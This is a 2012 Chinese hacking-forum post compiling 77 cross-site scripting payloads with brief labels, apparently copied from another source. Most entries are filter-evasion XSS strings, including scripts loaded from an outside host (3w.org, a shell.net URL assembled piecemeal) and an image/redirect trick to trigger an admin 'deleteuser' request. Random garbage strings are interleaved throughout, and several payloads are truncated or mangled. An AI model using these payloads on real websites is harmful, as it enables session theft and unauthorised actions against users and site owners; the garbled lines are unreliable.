找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3685|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
' A0 Z3 C0 s( l# f6 ]* M9 [7 R+ @
# y* E  H) T0 y" C (1)普通的XSS JavaScript注入
' Z; ]0 i7 x2 t0 C+ |# k <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
7 s1 [7 R9 ?4 s/ s- D+ Y' t; |- `
" w0 R0 G/ u; Y0 ^& O (2)IMG标签XSS使用JavaScript命令
3 `$ @, t& ^0 T6 F5 i <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>$ f" l# Z# v5 S; Q! t" O+ ^% n# r

! N, N$ H" ~  V (3)IMG标签无分号无引号
5 s4 R0 S0 Q$ Z/ n0 } <IMG SRC=javascript:alert(‘XSS’)>" \1 D( \9 b* D3 o# |' M

& ~' P, A' h, @1 S (4)IMG标签大小写不敏感
: W( c  ]1 C$ Q( W" S% K <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
9 C" n" M% ?: g: o! r
$ C* t# @- [0 k4 j: k( N6 j (5)HTML编码(必须有分号)) t& a, ]8 q: h& v# O9 ~
<IMG SRC=javascript:alert(“XSS”)>) m6 t: I9 e" b6 y/ S; q% ~3 e

/ M% v8 K* U/ [9 F (6)修正缺陷IMG标签
& H- `- i+ E9 q <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
8 W9 H2 B/ j, K
: L, m" ~. P  M# L5 @+ @ (7)formCharCode标签(计算器); |  F0 u2 N0 h1 k
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>5 S" I4 R" r' l% U' s# _- J

  E1 \5 t+ b5 @; |; L (8)UTF-8的Unicode编码(计算器)
4 J6 K7 h( v8 p$ f( k% t! e- {+ X <IMG SRC=jav..省略..S')>
+ n# x8 J, d6 K' n& r' r! @* E# a, U3 V1 {. O$ w1 u  q* X
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)! r4 f2 O0 j6 w! @! }
<IMG SRC=jav..省略..S')>+ p: ?" i2 z  P+ h# _5 I6 `

+ B6 p9 x" S- M% Y$ | (10)十六进制编码也是没有分号(计算器)
* o8 _9 j6 h9 T9 f7 R/ d9 \8 F5 a <IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
2 o0 q& F9 j: j" b7 ^
% k5 G$ g- S7 x0 t1 l (11)嵌入式标签,将Javascript分开
& a- z( `0 E( F5 S <IMG SRC=”jav ascript:alert(‘XSS’);”>2 P1 U8 y6 F$ n

5 I' F: {  I, H% W (12)嵌入式编码标签,将Javascript分开: |# U, n% ^( b$ K
<IMG SRC=”jav ascript:alert(‘XSS’);”>) m8 ~1 j, q  f9 m8 t  x# |

, H1 p7 t) y# x7 p! a* V. g; x# F9 ] (13)嵌入式换行符* _& A* m0 l# c
<IMG SRC=”jav ascript:alert(‘XSS’);”>
5 }6 e. M; j% f* E% J# q4 U- o3 e/ ?
(14)嵌入式回车4 W+ m7 f& @9 z1 j! K. }( u
<IMG SRC=”jav ascript:alert(‘XSS’);”>& ^" k! G6 q: o: p( t8 @

7 m. i  Q5 ]2 L6 ^4 \, { (15)嵌入式多行注入JavaScript,这是XSS极端的例子+ b1 M; G# t, U
<IMG SRC=”javascript:alert(‘XSS‘)”>
7 R: w! w6 Z" g9 K$ k
7 S: F6 u- w& X5 Y6 @ (16)解决限制字符(要求同页面). t6 B6 U& [* |
<script>z=’document.’</script>
2 x- }) u& P& r0 F <script>z=z+’write(“‘</script>! y8 J5 |& u! t
<script>z=z+’<script’</script>4 g9 C- K$ X  c4 ]; d+ W% S
<script>z=z+’ src=ht’</script>
3 k8 V+ b) N/ x' i <script>z=z+’tp://ww’</script>" ?+ q* `: ?0 B6 R7 g
<script>z=z+’w.shell’</script>9 v1 W9 i9 {, X1 u9 g" J
<script>z=z+’.net/1.’</script>+ k1 k6 U4 K( c6 A( o
<script>z=z+’js></sc’</script>
. _$ h) g( \  A3 e; t8 a <script>z=z+’ript>”)’</script>3 |) k  U1 X+ z  j$ d/ F
<script>eval_r(z)</script>' }1 O+ `6 G5 ~. E8 Y- @% [

( L% S! b; z) ^0 W/ }* } (17)空字符% k; |% C2 T) c/ y9 r! f9 _0 e0 X* K
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
- C9 n3 t5 v8 w2 u* B* I3 C& E0 I& I4 p" c8 H- U5 S$ G6 \2 s: J
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
9 l; C0 Z$ B: L2 A- Q4 D  A& v perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
$ \7 f3 L' @, Z9 z! u( |" G9 M) \! N2 j0 d: Q  l$ j
(19)Spaces和meta前的IMG标签4 ^8 o% P0 X4 \2 k' A
<IMG SRC=”   javascript:alert(‘XSS’);”>
/ C. ?! E2 U( G9 X$ R# }/ w4 N, |2 X  q. C; q9 d; A5 i0 ?
(20)Non-alpha-non-digit XSS
) y* A& I1 j0 t& K4 J <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>9 W2 C6 t& M; M/ e* C# u9 K

# l9 K, f& B1 G8 E) h! P/ e6 M (21)Non-alpha-non-digit XSS to 2& B# j: R, |* c  n- }7 f  R* J
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>5 s5 @# K( \( w4 J# \( w, J
' D9 `2 }; P3 y$ M( e/ j
(22)Non-alpha-non-digit XSS to 3. D; X/ x; u3 \& x$ c5 p8 \, P( F
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
" g0 I$ G1 c% o! {' X
2 [2 D6 \9 r* }5 k9 X% C (23)双开括号5 V( Z8 p+ ?9 X
<<SCRIPT>alert(“XSS”);//<</SCRIPT>. M# ]6 B6 K; e# g0 k3 L

1 Q* U- l, a1 ^* ^0 y) n3 y (24)无结束脚本标记(仅火狐等浏览器)" p* d$ j* s/ s
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>; C/ l# S+ W; l% h8 o+ J6 [( _' H
( y  B8 `2 F- |" n- f
(25)无结束脚本标记2
2 U0 @/ Y! z' O <SCRIPT SRC=//3w.org/XSS/xss.js>
' _+ C. y- }0 @  ]* H; m5 q8 e0 H2 a. x; [! g6 s9 v  G9 X
(26)半开的HTML/JavaScript XSS5 S: H4 j. S: {
<IMG SRC=”javascript:alert(‘XSS’)”
+ `: r0 N9 S; G7 P" i! K
* G! y! d( C4 H5 d# | (27)双开角括号+ w% k7 |) Q! s, P
<iframe src=http://3w.org/XSS.html <
+ f/ O" o! Z* T4 X& t3 V& c
9 u! Q8 t8 @- g* J- W% J (28)无单引号 双引号 分号* z' @' ^% v3 M% ?( Q
<SCRIPT>a=/XSS/
' i" [2 Q( |* ]9 i  f alert(a.source)</SCRIPT>
( T5 T+ G! m3 w, N) [5 g
1 [, Y( J, F' H" [9 _ (29)换码过滤的JavaScript
/ f. o+ B! {! M% f  @9 d  f: v \”;alert(‘XSS’);//
0 {, T2 F% N/ j2 k
8 k2 H( I7 x! D/ Q5 @' E7 m8 x (30)结束Title标签
4 ~. B( }; Q$ w; t$ o$ | </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
7 _5 X$ Q' e3 g
; c! C& t1 Y2 J0 v (31)Input Image
" ]* v% Q% w; Z <INPUT SRC=”javascript:alert(‘XSS’);”>  _7 J+ D- G, h4 r0 F! e

; h" E$ N8 x: l# }! w' N (32)BODY Image- n$ p+ W4 V+ K  t) C0 X7 p& G
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
4 S, r# g( ?. }1 R5 w( o2 U8 c( ?# V8 U
(33)BODY标签
1 }. m# h2 c" D5 ~$ G$ t( G) V <BODY(‘XSS’)>1 [; K4 K$ [! ~( p
- [  _8 R! k, G. C8 P/ U
(34)IMG Dynsrc
3 n" |  y" e) b$ t( i$ G; @ <IMG DYNSRC=”javascript:alert(‘XSS’)”>
) ~9 v4 D. n) ^2 i/ x4 E+ d+ ], f5 S& g- ^/ u+ U# o8 S  X
(35)IMG Lowsrc
4 u4 X0 L/ P6 h3 S <IMG LOWSRC=”javascript:alert(‘XSS’)”>* Y- A" b8 B) V- C8 ]
- ]5 {9 |  g$ F2 ?4 k' l
(36)BGSOUND8 p) t9 j( o3 O: ?) a' b2 n* |6 x
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
* J. e2 H# m) V6 `! X- T' w% [# Q5 T' a
(37)STYLE sheet
* }8 m: T, q1 f/ ^7 v/ Y2 @* s <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>1 A9 I9 T$ `$ f! J

1 q3 R1 n$ g# H8 A/ F, a (38)远程样式表
8 ~: e6 ?  C+ J4 j2 F/ X( Z6 ` <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
. |, V* E/ v2 p: E+ }* Q* r4 c. i0 }) p. `$ p3 H
(39)List-style-image(列表式)
" [; u4 q- @4 H* U <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
& s  l  n0 H5 B/ D3 Y* ~
2 Q' ]  ~- f7 ~8 U# P (40)IMG VBscript- V' W9 X$ K2 U" p
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS4 U7 n' E: |9 `6 E; L+ c

3 K$ u' z9 X1 O- a) O (41)META链接url$ V7 R$ [0 _- l# f  i
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
% I8 W( s3 R" u' ~! L  s, n2 M0 A( n7 a: j
(42)Iframe
9 ^" d6 i/ C0 ^; @+ y <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
+ W/ [1 s: I: q* |2 c8 m  l9 s9 z8 l/ u* l6 J: q
(43)Frame
9 g0 j% C+ n6 U" N <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
" k0 u# e* G$ A' m) D4 V6 s7 E
& B7 l) z9 O% d& V* U/ Y0 h (44)Table% _. {9 p9 J, h- P
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>+ n8 p* J4 f: }& T' O3 O! ]; e

% D( t$ }* o: g9 ^2 @# c% x (45)TD! g6 f* R2 D9 J& t
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>+ E8 ?& a9 c, ]/ Y# h* [3 U
  p- K, s! G- g; O- D
(46)DIV background-image4 U. b4 z( C2 w' b5 s1 F  {
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
( T8 H9 ]1 x& e" y8 U4 L
* J# _2 L) w9 T) n/ z$ u (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)! `, `! F# C8 N3 K* M3 u
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>+ N; h5 d0 M4 L8 ~7 E/ J, v6 V
" a3 w; k7 l5 M+ q, A: X: P& m
(48)DIV expression
1 z5 _+ o+ o" |; I3 I5 Z <DIV STYLE=”width: expression_r(alert(‘XSS’));”>
: y! U3 R: p8 E6 F& L( ?" H
8 c& M9 E4 s4 Y$ x" z1 ]" K, ? (49)STYLE属性分拆表达
6 [- @: ?/ I6 V6 |+ Y+ ?; X <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
* ]2 V: V1 G3 _2 |& _! y0 z
( ?' j3 h. W' I1 Q. B* ~ (50)匿名STYLE(组成:开角号和一个字母开头)
& |: W8 W# `8 @) F <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
5 W  }- t0 H* m6 X6 a3 Q6 G* Y( l! w: v& |. Z" e3 w" e* L
(51)STYLE background-image/ [7 U# I  ?" K+ K% n
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
( i7 q8 h( k; Y9 o. `. g+ W8 E8 x0 J8 F( a
(52)IMG STYLE方式, j: K4 F8 d$ ?6 c
exppression(alert(“XSS”))’>+ I" Y4 k! f# Y5 |9 I9 J' W

# R3 M  C+ t6 r4 v$ u- H (53)STYLE background
7 ]2 k- k3 X& t# c1 c8 w6 c% X <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
2 u6 J6 y( @2 J+ G% \3 I  W5 x$ L! \. I4 g' p
(54)BASE
, |. S6 M8 y3 Q <BASE HREF=”javascript:alert(‘XSS’);//”>
1 ]1 x8 t- O7 Q1 d0 U/ X3 c  w! l. G6 {/ s! U2 e
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
; P( P2 l" i, c) i <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
5 o; H, R0 e8 {: Q3 h& B2 N0 H  w& `/ u# x4 E
(56)在flash中使用ActionScrpt可以混进你XSS的代码7 ~, i5 ]0 U" c
a=”get”;$ W. Q3 {# K5 B7 ?. B
b=”URL(\”";
* k2 ~# I+ J6 g5 G c=”javascript:”;9 `- L. b9 ^: e6 T7 }* x
d=”alert(‘XSS’);\”)”;
. D7 X4 n( e7 L0 s0 M9 Q; h eval_r(a+b+c+d);
! M$ g( \8 L* b6 o9 v8 b2 G: {0 h% \$ W: L! K' c- c$ C
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上  o) c: V) _. Y/ A" V7 ]
<HTML xmlns:xss>
, T) R7 g6 l7 w- D( Z/ m <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>9 H; V6 X" H+ h- U4 h3 K
<xss:xss>XSS</xss:xss>
- ]" T" c+ Q$ e1 }- W- Y9 m, j </HTML>3 m7 M1 b! |# V: s
- F! m2 z( H# b3 r' [" x( h6 p
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
$ E5 i' {- i6 z( a <SCRIPT SRC=””></SCRIPT>/ z+ z  U$ G/ X: y8 Y

+ ^1 K& `3 p* \# H, ]* m( F; y (59)IMG嵌入式命令,可执行任意命令  j, b7 _4 g7 S
<IMG SRC=”http://www.XXX.com/a.php?a=b”>1 d* U  A( B/ g4 B/ s2 a

# y. A( Y$ s8 ]% ~ (60)IMG嵌入式命令(a.jpg在同服务器)
9 k' y' n" O9 v" ] Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser9 Q; d* v3 W6 Q- o! W

0 R' {5 A; _: b8 ~/ B6 s (61)绕符号过滤
8 k/ u9 w5 f9 l/ o5 R <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
( w6 \. }5 y! \. O! w( N; @/ ~
1 j  N1 ^3 [1 h (62)
% ?* ?0 y3 n% J. n <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
/ b+ y* A( `1 o% C  |
/ g% _& r% {: G2 y (63)
% y' J2 I- b, u: g% r <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>/ L: O$ Y) O' A
/ X; [8 g5 b! v. a9 q
(64)5 u" ~. Y; C. C2 B$ s
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
& V  V$ [+ Z" Z. r' B2 n3 g* Z9 T7 R: Q+ \
(65)! S) w+ x: @1 p1 c5 ]1 B2 A8 f. B8 a
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>9 G, o. i5 ?, Y6 G% {9 A$ f* p

7 y  E( ~0 @0 l (66)# @, u2 c+ t5 N, S. U
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
/ m3 o; f1 X. V" |6 W
- k- Q8 z0 ^9 _ (67), f. b- W0 d0 C0 n! n7 U1 P% R
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
7 W, Z' ~! f2 A7 Z
- K2 V, s: v6 v4 U7 Z" l (68)URL绕行/ k& l2 M( v) f" D! m% C! O
<A HREF=”http://127.0.0.1/”>XSS</A>
* n0 U/ P  Y% F" y
- k' D& Z$ r. P* B7 S5 k (69)URL编码& R+ ]: |( {1 h  g; [9 F4 e3 g
<A HREF=”http://3w.org”>XSS</A>6 o9 e0 H! ?( R! m: x
8 u$ q# t" [  R: n
(70)IP十进制% }8 j% c1 a, ?# Z9 J
<A HREF=”http://3232235521″>XSS</A>' w8 X7 L$ a" o1 @" i

2 h/ Q5 a* y4 ]0 e+ s (71)IP十六进制
) m& i7 ?) L  a- O <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>% l/ x5 p( b2 a/ D( }% C
( B8 _8 `2 k. Z+ T! L
(72)IP八进制
4 w, [0 e, _9 N <A HREF=”http://0300.0250.0000.0001″>XSS</A>
5 u& |: W2 O" s5 f# y. }
  r# N/ i2 L! l' i2 c. \, W% T# s (73)混合编码5 d8 p$ ?1 ]$ N
<A HREF=”h
4 e, d  g) ~: T, ] tt p://6 6.000146.0×7.147/”">XSS</A>
6 D% H  N4 f1 H- e' w. U! {: W( z( o8 i4 b
(74)节省[http:]3 [, l$ Q; l9 b, u" t2 L7 |
<A HREF=”//www.google.com/”>XSS</A>% X9 S$ T/ c% g  {% X

9 p+ ^: C: J! O5 V+ ~( h8 v% t- e (75)节省[www]" d8 T$ G" }3 l7 s- D
<A HREF=”http://google.com/”>XSS</A>: c1 N4 ~8 Y0 T: y& P- d8 |$ u% Q
! S* w/ w3 t0 ]* p9 B2 t
(76)绝对点绝对DNS
/ w6 U+ U! C! J6 e: Q: }/ y6 I <A HREF=”http://www.google.com./”>XSS</A>- ~/ t+ a5 k1 z( f
* K* l; Z+ x; j4 `' `
(77)javascript链接; D; K  g0 b1 U$ A
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表